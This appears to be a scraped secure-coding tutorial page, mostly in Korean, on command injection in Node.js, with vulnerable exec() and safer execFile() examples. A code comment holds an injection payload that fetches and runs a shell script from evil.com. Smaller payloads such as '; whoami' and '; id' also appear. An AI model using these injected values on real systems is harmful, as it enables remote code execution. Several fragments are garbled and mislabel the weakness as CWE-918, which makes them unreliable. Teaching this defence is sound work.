flawopen.com/command-injection/Javascript
Learn how to fix Command Injection (CWE-78) in JavaScript & Node.js. Side-by-side vulnerable vs secure code examples for child_process.execFile(), spawn(), and exec hazards.
사무실 보조원에게 'report.pdf'라는 문서를 인쇄해 달라고 요청하는 상황을 상상해 보세요. 누군가 'report.pdf; whoami'라는 파일명을 적어주면, 보조원이 그 메모 전체를 터미널 창구에 그대로 전달하여 보고서 인쇄와 동시에 관리자 배지 정보까지 읽어버리는 취약점입니다.
Web Application SecurityCWE-918.CWE-918CWE-918): Standard Common Weakness Enumeration classification for command-injection-javascript.Defense-in-Depth애플리케이션이 HTTP 요청을 통해 진단용 호스트명, 파일명 등의 입력을 직접 전달받습니다.
백엔드가 독립된 인자 배열을 사용하지 않고 원시 문자열 결합으로 셸 명령을 구성합니다.
공격자가 ';', '&&', '|', 백틱 등의 메타문자(예: '127.0.0.1; id')를 주입하여 기존 구문을 탈출합니다.
운영체제 셸이 웹 프로세스 권한으로 추가 주입된 명령을 실행하여 원격 코드 실행이 발생합니다.
// child_process.exec spawns a shell and parses metacharacters
const { exec } = require('child_process');
function convertImage(filename) {
// Input: "avatar.png; curl http://evil.com/shell | sh"
exec(`convert ${filename} -resize 100x100 out.png`, (err, stdout) => {
console.log(stdout);
});
}
// child_process.execFile executes the binary directly without a shell
const { execFile } = require('child_process');
function convertImage(filename) {
// filename is passed as a literal argument, never parsed as a shell command
execFile('convert', [filename, '-resize', '100x100', 'out.png'], (err, stdout) => {
console.log(stdout);
});
}
exec() calls with execFile() or spawn().spawn()하지 마십시오.